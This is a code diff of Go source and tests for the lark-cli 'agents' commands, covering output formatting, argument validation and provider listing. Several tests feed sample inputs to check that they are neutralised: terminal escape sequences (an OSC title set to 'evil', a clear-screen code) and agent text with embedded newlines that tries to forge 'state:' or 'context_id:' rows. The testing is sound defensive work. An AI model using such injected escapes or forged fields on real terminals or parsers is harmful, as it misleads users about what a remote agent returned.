root := &cobra.Command{Use: "lark-cli", SilenceUsage: true, SilenceErrors: true}
root.AddCommand(NewCmdAgents(nil))
return root
}
// TestFormatYamlRejectedAcrossLeaves pins that EVERY leaf of the agent tree
// consumes validateFormat: `--format yaml` is exit 2 with the json|pretty
// hint, uniformly, before any provider/Factory is touched.
func TestFormatYamlRejectedAcrossLeaves(t *testing.T) {
leaves := [][]string{
{"agents", "list", "--format", "yaml"},
{"agents", "card", "example:x", "--format", "yaml"},
{"agents", "send", "example:x", "--text", "hi", "--format", "yaml"},
{"agents", "task", "get", "example:x", "t1", "--format", "yaml"},
{"agents", "task", "list", "example:x", "--format", "yaml"},
{"agents", "task", "cancel", "example:x", "t1", "--format", "yaml"},
{"agents", "context", "list", "example:x", "--format", "yaml"},
{"agents", "context", "get", "example:x", "c1", "--format", "yaml"},
{"agents", "context", "delete", "example:x", "c1", "--yes", "--format", "yaml"},
}
for _, argv := range leaves {
t.Run(strings.Join(argv[:len(argv)-2], " "), func(t *testing.T) {
root := agentRootTree()
root.SetOut(&bytes.Buffer{})
root.SetErr(&bytes.Buffer{})
root.SetArgs(argv)
err := root.Execute()
if err == nil {
t.Fatalf("%v should report a --format validation error", argv)
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T: %v", err, err)
}
if output.ExitCodeOf(err) != output.ExitValidation {
t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
}
p, ok := errs.ProblemOf(err)
if !ok || !strings.Contains(p.Hint, "json | pretty") {
t.Errorf("hint should contain json | pretty, got %+v", p)
}
})
}
}
// TestFormatHelpTextUniform pins the mandated uniform help text
// "output format: json (default) | pretty" across every leaf that has --format.
func TestFormatHelpTextUniform(t *testing.T) {
cmds := map[string]*cobra.Command{
"list": NewCmdAgentList(nil),
"card": NewCmdAgentCard(nil),
"send": NewCmdAgentSend(nil, nil),
"task get": NewCmdAgentTaskGet(nil),
"task list": NewCmdAgentTaskList(nil),
"task cancel": NewCmdAgentTaskCancel(nil),
"context list": NewCmdAgentContextList(nil),
"context get": NewCmdAgentContextGet(nil),
"context delete": NewCmdAgentContextDelete(nil),
}
for name, cmd := range cmds {
fl := cmd.Flags().Lookup("format")
if fl == nil {
t.Errorf("%s should have a --format flag", name)
continue
}
if fl.DefValue != "json" {
t.Errorf("%s --format default should be json, got %q", name, fl.DefValue)
}
if fl.Usage != "output format: json (default) | pretty" {
t.Errorf("%s --format help should be uniform, got %q", name, fl.Usage)
}
}
}
// TestStripANSI pins that CSI sequences, OSC sequences and bare ESC bytes are
// all removed before agent text reaches a terminal.
func TestStripANSI(t *testing.T) {
for _, tt := range []struct{ in, want string }{
{"before\x1b[31mred\x1b[0mafter", "beforeredafter"},
{"a\x1bb", "ab"}, // bare ESC
{"t\x1b]0;evil\x07x", "tx"},
{"clean 文本", "clean 文本"},
} {
if got := stripANSI(tt.in); got != tt.want {
t.Errorf("stripANSI(%q) = %q, want %q", tt.in, got, tt.want)
}
}
}
// TestPrintTaskPretty pins the task-class pretty spec: line-per-field
// key: value with state / task_id / context_id / first text message truncated
// to 120 runes / artifacts count — and the agent-controlled text stripped of
// ANSI escapes.
func TestPrintTaskPretty(t *testing.T) {
long := strings.Repeat("字", 130)
task := &iagents.AgentTask{
TaskID: "chat_1",
ContextID: "sess_1",
State: iagents.StateCompleted,
Messages: []iagents.Message{{
Role: "agent",
Parts: []iagents.Part{{Type: "text", Text: "\x1b[31m" + long + "\x1b[0m"}},
}},
Artifacts: []iagents.Artifact{{ID: "a1"}, {ID: "a2"}},
}
out := &bytes.Buffer{}
printTaskPretty(out, task)
text := out.String()
for _, want := range []string{"state: completed", "task_id: chat_1", "context_id: sess_1", "artifacts: 2"} {
if !strings.Contains(text, want) {
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
}
}
if strings.Contains(text, "\x1b") {
t.Errorf("ANSI sequences in agent body text must be stripped: %q", text)
}
if strings.Contains(text, long) {
t.Errorf("body should be truncated to 120 chars, the full 130-char body should not appear")
}
if !strings.Contains(text, strings.Repeat("字", 120)) {
t.Errorf("body should keep the first 120 chars, got:\n%s", text)
}
var env output.Envelope
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
t.Errorf("pretty should not be a JSON envelope: %s", text)
}
}
// TestPrintTaskPretty_NewlineForgeryNeutralized pins the key:value forgery
// fix: agent text containing newlines must not be able to fake an adjacent
// field row ("done\nstate: completed") — \n/\t in single-line values collapse
// to spaces, so exactly one state: line exists.
func TestPrintTaskPretty_NewlineForgeryNeutralized(t *testing.T) {
task := &iagents.AgentTask{
TaskID: "chat_1",
State: iagents.StateFailed,
Messages: []iagents.Message{{
Role: "agent",
Parts: []iagents.Part{{Type: "text", Text: "done\nstate: completed\tok"}},
}},
}
out := &bytes.Buffer{}
printTaskPretty(out, task)
var stateLines int
for _, line := range strings.Split(out.String(), "\n") {
if strings.HasPrefix(line, "state: ") {
stateLines++
}
}
if stateLines != 1 {
t.Fatalf("body newlines must not forge an adjacent field row; there should be exactly 1 state: line, got %d:\n%s", stateLines, out.String())
}
if !strings.Contains(out.String(), "state: failed") {
t.Errorf("the real state line should remain, got:\n%s", out.String())
}
if !strings.Contains(out.String(), "reply: done state: completed ok") {
t.Errorf("\\n/\\t in the body should be replaced by spaces, got:\n%s", out.String())
}
}
// TestPrintContextDetailPretty_NewlineForgeryNeutralized pins the same fix on
// the context title row.
func TestPrintContextDetailPretty_NewlineForgeryNeutralized(t *testing.T) {
out := &bytes.Buffer{}
printContextDetailPretty(out, &iagents.ContextDetail{
ContextID: "sess_1",
Title: "标题\ncontext_id: forged",
})
var idLines int
for _, line := range strings.Split(out.String(), "\n") {
if strings.HasPrefix(line, "context_id: ") {
idLines++
}
}
if idLines != 1 {
t.Fatalf("title newlines must not forge a context_id row; there should be exactly 1 line, got %d:\n%s", idLines, out.String())
}
}
// TestPrintTaskPretty_NilTask pins the nil degradation (no panic).
func TestPrintTaskPretty_NilTask(t *testing.T) {
out := &bytes.Buffer{}
printTaskPretty(out, nil)
if out.Len() == 0 {
t.Error("nil task should print a placeholder line")
}
}
// TestPrintTaskSummariesTSV pins the list-class pretty spec: a header row
// naming the json fields (now including UPDATED_AT + SUMMARY), then one
// tab-separated row per task. Summary is agent-controlled, so it is
// ANSI-stripped AND newline/tab-flattened via kvValue.
func TestPrintTaskSummariesTSV(t *testing.T) {
out := &bytes.Buffer{}
printTaskSummariesTSV(out, []iagents.TaskSummary{
{TaskID: "chat_1", ContextID: "sess_1", State: iagents.StateCompleted, IsTerminal: true,
UpdatedAt: "2026-07-05T12:00:00Z", Summary: "分析\n完成\x1b[0m"},
})
lines := strings.Split(strings.TrimSpace(out.String()), "\n")
if len(lines) != 2 {
t.Fatalf("should have a header + 1 data row, got %q", out.String())
}
if lines[0] != "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL\tUPDATED_AT\tSUMMARY" {
t.Errorf("header columns should match the json field names, got %q", lines[0])
}
// Summary: ANSI escape stripped, newline flattened to a space.
if lines[1] != "chat_1\tsess_1\tcompleted\ttrue\t2026-07-05T12:00:00Z\t分析 完成" {
t.Errorf("data row mismatch, got %q", lines[1])
}
}
// TestPrintContextsTSV pins the context-list pretty spec: header row (now
// carrying the UPDATED_AT / AWAITING_INPUT rollup columns — no TASK_COUNT,
// which is a `context get` field) plus rows, with the agent-controlled Title
// stripped of ANSI escapes.
func TestPrintContextsTSV(t *testing.T) {
out := &bytes.Buffer{}
printContextsTSV(out, []iagents.ContextSummary{
{ContextID: "sess_1", CreatedAt: "2026-07-05T10:00:00+08:00", UpdatedAt: "2026-07-05T12:00:00+08:00",
Title: "\x1b[2J销售分析", AwaitingInput: true},
})
text := out.String()
if !strings.HasPrefix(text, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tAWAITING_INPUT\n") {
t.Errorf("should have a header row with the rollup columns, got %q", text)
}
if !strings.Contains(text, "销售分析") {
t.Errorf("should contain the title text, got %q", text)
}
if strings.Contains(text, "\x1b") {
t.Errorf("ANSI sequences in Title must be stripped: %q", text)
}
// The awaiting_input rollup directly trails the title — no TASK_COUNT column
// in between.
if !strings.Contains(text, "销售分析\ttrue\n") {
t.Errorf("should carry the awaiting_input rollup right after the title, got %q", text)
}
}
// TestPrintContextDetailPretty pins the context-get pretty rendering as a
// conversation overview: metadata + the task_count / awaiting_input rollup and
// a one-line active_task digest — NOT a full tasks[] list (that is `agents task
// list --context-id`). Title and the active-task Summary are agent-controlled,
// so both are ANSI-stripped + newline-flattened.
func TestPrintContextDetailPretty(t *testing.T) {
out := &bytes.Buffer{}
printContextDetailPretty(out, &iagents.ContextDetail{
ContextID: "sess_1",
CreatedAt: "2026-07-05T10:00:00+08:00",
UpdatedAt: "2026-07-05T12:00:00+08:00",
Title: "\x1b[31m分析\x1b[0m",
TaskCount: iagents.Int(2),
AwaitingInput: true,
ActiveTask: &iagents.TaskSummary{
TaskID: "chat_2", State: iagents.StateInputRequired,
UpdatedAt: "2026-07-05T12:00:00+08:00", Summary: "请提供\n季度\x1b[0m",
},
})
text := out.String()
for _, want := range []string{
"context_id: sess_1", "updated_at: 2026-07-05T12:00:00+08:00", "title: 分析",
"task_count: 2", "awaiting_input: true", "active_task: input_required",
} {
if !strings.Contains(text, want) {
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
}
}
// active-task Summary: newline flattened to a space.
if !strings.Contains(text, "请提供 季度") {
t.Errorf("active_task summary should be ANSI-stripped + newline-flattened, got:\n%s", text)
}
if strings.Contains(text, "\x1b") {
t.Errorf("ANSI sequences must be stripped: %q", text)
}
// The full task enumeration must NOT appear here anymore.
if strings.Contains(text, "tasks:") {
t.Errorf("context get should no longer render a tasks[] list, got:\n%s", text)
}
// nil TaskCount = the provider cannot supply the count: the line is omitted
// instead of printing a misleading 0.
out.Reset()
printContextDetailPretty(out, &iagents.ContextDetail{ContextID: "sess_2"})
if strings.Contains(out.String(), "task_count") {
t.Errorf("a nil TaskCount should omit the task_count line, got %q", out.String())
}
}
// TestExactArgsUsageHint pins that an arg-count error carries a usage hint
// built from the real command path + Use shape, so the caller learns what is
// missing instead of cobra's bare "accepts 2 arg(s)".
func TestExactArgsUsageHint(t *testing.T) {
root := agentRootTree()
root.SetOut(&bytes.Buffer{})
root.SetErr(&bytes.Buffer{})
root.SetArgs([]string{"agents", "task", "get", "example:x"}) // missing task-id
err := root.Execute()
if err == nil {
t.Fatal("task get with a single argument should error")
}
if !errs.IsValidation(err) {
t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
}
p, ok := errs.ProblemOf(err)
if !ok || !strings.Contains(p.Hint, "用法: lark-cli agents task get <agent_ref> <task-id>") {
t.Fatalf("hint should contain the usage string, got %+v", p)
}
if output.ExitCodeOf(err) != output.ExitValidation {
t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
}
}
// TestMaximumArgsUsageHint pins the same treatment for the MaximumNArgs leaf
// (`agents list [scheme]`).
func TestMaximumArgsUsageHint(t *testing.T) {
root := agentRootTree()
root.SetOut(&bytes.Buffer{})
root.SetErr(&bytes.Buffer{})
root.SetArgs([]string{"agents", "list", "example", "extra"})
err := root.Execute()
if err == nil {
t.Fatal("list with more than 1 positional argument should error")
}
if !errs.IsValidation(err) {
t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
}
p, ok := errs.ProblemOf(err)
if !ok || !strings.Contains(p.Hint, "用法: lark-cli agents list [scheme]") {
t.Fatalf("hint should contain the usage string, got %+v", p)
}
}

View File

@@ -1,278 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"fmt"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// providerInfo describes a registered provider adapter in `agents list` output.
// Every field is sourced from the registered iagents.Provider (the single
// source of truth).
type providerInfo struct {
Scheme string `json:"scheme"`
Label string `json:"label"`
AgentRefFormat string `json:"agent_ref_format"`
Kind string `json:"kind"`
AgentIDSource string `json:"agent_id_source"`
// ListParams documents the business parameters `agents list <scheme>` itself
// takes — surfaced HERE (the offline, always-reachable provider listing)
// because at list time the caller holds no agent_ref yet, so a card-based
// hint would point at an unreachable road.
ListParams []iagents.CardParam `json:"list_parameters,omitempty"`
}
// listOptions holds all inputs for `agents list [scheme]`.
type listOptions struct {
Factory *cmdutil.Factory
Cmd *cobra.Command
Scheme string
Params []string
Format string
As string
PageSize int
PageToken string
}
// NewCmdAgentList builds `agents list [scheme]`. Without an argument it
// enumerates the registered provider adapters with their metadata — a
// pure, API-free listing. With a scheme it performs second-level discovery:
// catalog providers enumerate offline from their static set; instance providers
// enumerate via their optional ListAgents hook (absent ⇒ unsupported_capability
// with the agent_id_source guidance). Risk=read.
func NewCmdAgentList(f *cmdutil.Factory) *cobra.Command {
opts := &listOptions{Factory: f}
cmd := &cobra.Command{
Use: "list [scheme]",
Short: "List registered agent providers, or enumerate the agents under one provider",
Long: "With no argument, list the built-in provider adapters and their metadata (label / agent_ref format / kind / how to obtain an agent_id) without calling any API. With a scheme, enumerate the agents under that provider (catalog providers must be enumerable; instance providers may not support it).",
Args: maximumArgsWithUsage(1),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
if err := validatePageSize(opts.PageSize); err != nil {
return err
}
opts.Cmd = cmd
if len(args) == 1 {
opts.Scheme = args[0]
}
return agentListRun(opts)
},
}
// --page-size / --page-token apply only to the instance enumeration path
// (prov.ListAgents); the offline catalog listing and the no-scheme provider
// listing ignore them.
addPageFlags(cmd, &opts.PageSize, &opts.PageToken)
addParamFlag(cmd, &opts.Params)
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
// --as only matters for the online `list <scheme>` enumeration (an instance
// provider's ListAgents call); the no-scheme provider listing is offline and
// identity-independent, so it ignores --as.
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
return cmd
}
// agentListRun dispatches `agents list [scheme]`: with a scheme it lists that
// provider's agents (second-level discovery); without it renders the provider
// listing. JSON envelope is the default; `pretty` is the opt-in human view.
func agentListRun(opts *listOptions) error {
if opts.Scheme != "" {
return agentListSchemeRun(opts)
}
// The no-scheme form is a pure offline registry listing — business params
// have no target operation, so reject explicitly rather than silently
// ignoring what the caller thought they were passing.
if len(opts.Params) > 0 {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"--param 仅在 agents list <scheme> 时有意义(无 scheme 的列表是纯本地枚举)").
WithParam("--param").
WithHint("补充 scheme 重发,如 lark-cli agents list <scheme> --param k=v各 provider 的 list 参数见本命令输出的 list_parameters")
}
f := opts.Factory
providers := listProviders()
// pretty is a human view only; a --jq expression implies structured JSON.
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
fmt.Fprintf(f.IOStreams.Out, "SCHEME\tLABEL\tAGENT_REF_FORMAT\tKIND\n")
for _, p := range providers {
fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\t%s\n", p.Scheme, p.Label, p.AgentRefFormat, p.Kind)
}
// agent_id_source is a full sentence — a TSV column would blow out the
// row width, so surface it as a per-provider footer instead. This is the
// single most important "where do I get an agent_id" cue for newcomers
// and must not vanish in the human-readable view.
fmt.Fprintln(f.IOStreams.Out)
for _, p := range providers {
fmt.Fprintf(f.IOStreams.Out, "agent_id 获取(%s: %s\n", p.Scheme, p.AgentIDSource)
}
return nil
}
env := output.Envelope{
OK: true,
Data: map[string]interface{}{"providers": providers},
Meta: listMeta(len(providers)),
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// agentListSchemeRun runs `agents list <scheme>`: second-level enumeration for
// one provider. A catalog provider enumerates OFFLINE from its static set
// (prov.ListCatalog). An instance provider enumerates ONLINE via its optional
// ListAgents hook (needs a configured client); an instance provider without that
// hook is not enumerable and returns unsupported_capability + the AgentIDSource
// hint — surfaced before the client is built.
func agentListSchemeRun(opts *listOptions) error {
f := opts.Factory
prov, ok := iagents.Info(opts.Scheme)
if !ok {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知的 agent provider '%s',当前支持: %s",
opts.Scheme, iagents.KnownSchemes()).
WithHint("用 lark-cli agents list 查看可用 provider")
}
var agents []iagents.AgentSummary
var identity string // set only on the online (instance) path, which resolves one
var pageInfo iagents.PageInfo // set only on the online (instance) path
catalog := prov.Kind() == iagents.KindCatalog
if catalog {
// Offline catalog enumeration takes no business params (ListParams
// requires a ListAgents hook); validate against the empty set so a stray
// --param is rejected with the same teaching error instead of ignored.
// The catalog set is finite and offline, so it is UNPAGED: --page-size /
// --page-token are ignored on this path (documented on the command).
if _, err := validateListParams(opts.Params, nil, opts.Scheme); err != nil {
return err
}
agents = prov.ListCatalog(resolvedBrand(opts.Factory)) // offline, brand-filtered
} else {
// instance: needs the online ListAgents hook. Absent ⇒ not enumerable.
if prov.ListAgents == nil {
return errs.NewValidationError(errs.SubtypeUnsupportedCapability,
"provider '%s' 暂不支持列举 agent", opts.Scheme).
WithHint("%s", prov.AgentIDSource)
}
// --page-size is validated uniformly in RunE (alongside validateFormat), so
// this paginated path does not re-check it here.
// Enumeration is a real online call with no agent_id, so it runs the same
// gates every ref-addressed online verb runs (via resolveSpec +
// preflightScopesForRef): the global user|bot whitelist, the provider's
// identity subset, and the all-or-nothing scope preflight — keyed on the
// scheme since there is no ref.
// agentID is empty (enumeration is not scoped to a single agent).
id := f.ResolveAs(opts.Cmd.Context(), opts.Cmd, core.Identity(opts.As))
if err := f.CheckIdentity(id, supportedIdentities); err != nil {
return err
}
if err := checkProviderIdentity(f, id, prov); err != nil {
return err
}
identity = string(id)
// list is a provider-level operation: params validate against ListParams
// (no spec, so no cross-operation reverse lookup); the error hint points
// at `agents list` output's list_parameters, not at an agent card the
// caller cannot address yet (it holds no agent_ref at list time).
vp, err := validateListParams(opts.Params, prov.ListParams, opts.Scheme)
if err != nil {
return err
}
rt, err := runtimeFor(f, id, "", vp.Resolved)
if err != nil {
return err
}
if err := preflightScopesForScheme(f, id, opts.Scheme); err != nil {
return err
}
agents, pageInfo, err = prov.ListAgents(opts.Cmd.Context(), rt,
iagents.PageParams{Token: opts.PageToken, Size: opts.PageSize})
if err != nil {
return err
}
}
if agents == nil {
agents = []iagents.AgentSummary{} // always emit [] not null
}
// pretty is a human view only; a --jq expression implies structured JSON.
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
// Name/Description are agent-controlled remote strings — ANSI-strip
// them before writing to the terminal.
fmt.Fprintf(f.IOStreams.Out, "AGENT_REF\tNAME\tDESCRIPTION\n")
for _, a := range agents {
fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\n", stripANSI(a.AgentRef), stripANSI(a.Name), stripANSI(a.Description))
}
return nil
}
// Catalog is unpaged (plain count); the instance path carries has_more /
// page_token and a next-page action when there are more agents.
meta := listMeta(len(agents))
if !catalog {
meta = listMetaPage(len(agents), pageInfo, listSchemeNext(opts, f, pageInfo))
}
env := output.Envelope{
OK: true,
Identity: identity, // empty for the offline catalog path (omitempty)
Data: map[string]interface{}{"agents": agents},
Meta: meta,
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// listSchemeNext builds the next-page action for the instance `list <scheme>`
// enumeration, replaying the scheme with the returned cursor. The scheme is
// gated by safeNextID (no colon, so safeNextRef does not apply); a failing scheme
// drops the action (the cursor still rides meta.page_token as data).
func listSchemeNext(opts *listOptions, f *cmdutil.Factory, info iagents.PageInfo) []output.NextAction {
if !safeNextID(opts.Scheme) {
return nil
}
next := nextPageAction(fmt.Sprintf("lark-cli agents list %s", opts.Scheme), opts.PageSize, info)
carryAsIntoNext(opts.Cmd, f, next)
return next
}
// listProviders builds the provider descriptors from the built-in registry so
// the listing stays in sync with whatever adapters are registered.
func listProviders() []providerInfo {
schemes := iagents.RegisteredSchemes()
out := make([]providerInfo, 0, len(schemes))
for _, s := range schemes {
// s comes from RegisteredSchemes, so Info always succeeds.
prov, _ := iagents.Info(s)
out = append(out, providerInfo{
Scheme: s,
Label: prov.Label,
AgentRefFormat: prov.AgentRefFormat(),
Kind: string(prov.Kind()),
AgentIDSource: prov.AgentIDSource,
ListParams: prov.ListParams,
})
}
return out
}

View File

@@ -1,594 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"bytes"
"context"
"encoding/json"
"errors"
"strings"
"testing"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// listFactory returns a Factory writing to a fresh stdout buffer plus a
// listOptions bound to it, ready to drive agentListRun without any API.
func listFactory() (*listOptions, *bytes.Buffer) {
out := &bytes.Buffer{}
errOut := &bytes.Buffer{}
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
return &listOptions{Factory: f, Format: "json"}, out
}
// decodeProviders unmarshals the envelope on out and returns data.providers.
func decodeProviders(t *testing.T, out *bytes.Buffer) []interface{} {
t.Helper()
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
}
data, _ := env.Data.(map[string]interface{})
providers, _ := data["providers"].([]interface{})
return providers
}
// findProvider returns the provider entry whose scheme matches, or nil.
func findProvider(providers []interface{}, scheme string) map[string]interface{} {
for _, pv := range providers {
p, _ := pv.(map[string]interface{})
if p["scheme"] == scheme {
return p
}
}
return nil
}
// TestAgentListRun_ProviderFieldsV2 pins the provider entry contract: the
// example entry carries all fields sourced from iagents.Info (the single source
// of truth), the legacy free-text description field is gone, and discoverable
// is no longer exposed.
func TestAgentListRun_ProviderFieldsV2(t *testing.T) {
opts, out := listFactory()
if err := agentListRun(opts); err != nil {
t.Fatalf("list should not error: %v", err)
}
prov, ok := iagents.Info("example")
if !ok {
t.Fatal("the example provider should already be registered (top-level agent blank import)")
}
p := findProvider(decodeProviders(t, out), "example")
if p == nil {
t.Fatalf("list should include the example provider: %s", out.String())
}
if p["label"] != prov.Label {
t.Errorf("label should come from Provider.Label %q, got %v", prov.Label, p["label"])
}
if p["agent_ref_format"] != prov.AgentRefFormat() {
t.Errorf("agent_ref_format should come from Provider.AgentRefFormat() %q, got %v", prov.AgentRefFormat(), p["agent_ref_format"])
}
if p["kind"] != string(prov.Kind()) {
t.Errorf("kind should come from Provider.Kind() %q, got %v", prov.Kind(), p["kind"])
}
if p["agent_id_source"] != prov.AgentIDSource {
t.Errorf("agent_id_source should come from Provider.AgentIDSource, got %v", p["agent_id_source"])
}
if _, present := p["description"]; present {
t.Errorf("the old description field should be removed (double-source with label), got %v", p)
}
if _, present := p["discoverable"]; present {
t.Errorf("the discoverable field should be removed from the provider list, got %v", p["discoverable"])
}
}
// TestAgentListRun_EnvelopeShape verifies the JSON envelope carries
// data.providers[] with the full field contract.
func TestAgentListRun_EnvelopeShape(t *testing.T) {
opts, out := listFactory()
if err := agentListRun(opts); err != nil {
t.Fatalf("list should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
}
if !env.OK {
t.Errorf("ok should be true: %+v", env)
}
providers := decodeProviders(t, out)
if len(providers) == 0 {
t.Fatalf("data.providers should be a non-empty array: %s", out.String())
}
first, ok := providers[0].(map[string]interface{})
if !ok {
t.Fatalf("provider entry should be an object, got %T", providers[0])
}
for _, key := range []string{"scheme", "label", "agent_ref_format", "kind", "agent_id_source"} {
if _, present := first[key]; !present {
t.Errorf("provider entry missing field %q: %v", key, first)
}
}
if _, present := first["discoverable"]; present {
t.Errorf("provider entry should not contain a discoverable field: %v", first)
}
}
// TestAgentListDefaultFormatIsJSON pins the default flip: `agents list`
// without --format emits the JSON envelope (pretty is opt-in).
func TestAgentListDefaultFormatIsJSON(t *testing.T) {
out := &bytes.Buffer{}
errOut := &bytes.Buffer{}
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
cmd := NewCmdAgentList(f)
cmd.SetOut(&bytes.Buffer{})
cmd.SetErr(&bytes.Buffer{})
cmd.SetArgs([]string{})
if err := cmd.Execute(); err != nil {
t.Fatalf("agents list should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("default output should be a JSON envelope: %v (%s)", err, out.String())
}
if !env.OK {
t.Errorf("ok should be true: %+v", env)
}
}
// TestAgentListRun_PrettyFormat pins the opt-in --format pretty branch: a header
// row plus tab-separated provider lines, not a JSON envelope.
func TestAgentListRun_PrettyFormat(t *testing.T) {
out := &bytes.Buffer{}
errOut := &bytes.Buffer{}
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
opts := &listOptions{Factory: f, Format: "pretty"}
if err := agentListRun(opts); err != nil {
t.Fatalf("list pretty should not error: %v", err)
}
text := out.String()
// A pretty rendering is human text, not a JSON envelope.
var env output.Envelope
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
t.Fatalf("pretty format should not output a JSON envelope: %s", text)
}
if !strings.HasPrefix(text, "SCHEME") {
t.Errorf("pretty output should start with a header row: %s", text)
}
if !strings.Contains(text, "example") {
t.Errorf("pretty output should contain the example provider: %s", text)
}
if !strings.Contains(text, "example:<agent_id>") {
t.Errorf("pretty output should contain the example ref format: %s", text)
}
// agent_id_source is surfaced as a footer (not a column) so the newcomer's
// "where do I get an agent_id" cue does not disappear in the pretty view.
if !strings.Contains(text, "agent_id 获取") {
t.Errorf("pretty output should contain the agent_id_source footer hint: %s", text)
}
}
// TestAgentListScheme_UnsupportedCapability pins that `agents list fakeflow`
// on a provider without Discoverer is unsupported_capability (exit 2) with the
// AgentIDSource text as hint, and — because the probe runs before any client
// construction — works on an unconfigured Factory.
func TestAgentListScheme_UnsupportedCapability(t *testing.T) {
registerScripted()
opts, _ := listFactory()
opts.Scheme = "fakeflow"
err := agentListRun(opts)
if err == nil {
t.Fatal("fakeflow does not implement Discoverer, so list fakeflow should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T (%v)", err, err)
}
if code := output.ExitCodeOf(err); code != output.ExitValidation {
t.Fatalf("exit code should be 2, got %d", code)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
t.Fatalf("subtype should be unsupported_capability, got %+v", p)
}
if !strings.Contains(err.Error(), "provider 'fakeflow' 暂不支持列举 agent") {
t.Errorf("message should state that listing is not supported, got %q", err.Error())
}
if !strings.Contains(p.Hint, fakeflowAgentIDSource) {
t.Errorf("hint should be the AgentIDSource text, got %q", p.Hint)
}
}
// TestAgentListScheme_UnknownScheme pins that an unregistered scheme is
// invalid_argument and the message lists the registered schemes.
func TestAgentListScheme_UnknownScheme(t *testing.T) {
opts, _ := listFactory()
opts.Scheme = "nosuch"
err := agentListRun(opts)
if err == nil {
t.Fatal("an unknown scheme should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T (%v)", err, err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
if !strings.Contains(err.Error(), "nosuch") || !strings.Contains(err.Error(), "example") {
t.Errorf("message should contain the unknown scheme and the registered scheme list, got %q", err.Error())
}
// Hand-written validation errors carry a recovery hint pointing at
// `agents list` for provider discovery.
if !strings.Contains(p.Hint, "agents list") {
t.Errorf("unknown-scheme hint should point to `agents list`, got %q", p.Hint)
}
}
// catSpec builds a catalog AgentSpec with the mandatory core hooks (the list
// tests only exercise enumeration, never Send/GetTask, but Register requires
// both non-nil).
func catSpec(id, name, desc string) iagents.AgentSpec {
return iagents.AgentSpec{
ID: id, Name: name, Description: desc,
Send: iagents.SendOp{Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil }},
GetTask: iagents.TaskGetOp{Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil }},
}
}
// registerFakeDisc registers a catalog scheme with two entries. Its enumeration
// is derived offline from the static Catalog. It leaks into the package-level
// registry for the rest of this package run.
func registerFakeDisc() {
iagents.Register(iagents.Provider{
Scheme: "fakedisc",
Label: "test fake (catalog)",
AgentIDSource: "test only",
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}},
Catalog: []iagents.AgentSpec{
catSpec("a1", "Agent One", "第一个"),
catSpec("a2", "Agent Two", ""),
},
})
}
// TestAgentListScheme_CatalogListsAgents pins the catalog positive path: a
// catalog provider enumerates its static entries offline into
// {agents:[AgentSummary...]} + meta.count (sorted by AgentRef).
func TestAgentListScheme_CatalogListsAgents(t *testing.T) {
registerFakeDisc()
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
cmd := &cobra.Command{Use: "list"}
cmd.SetContext(context.Background())
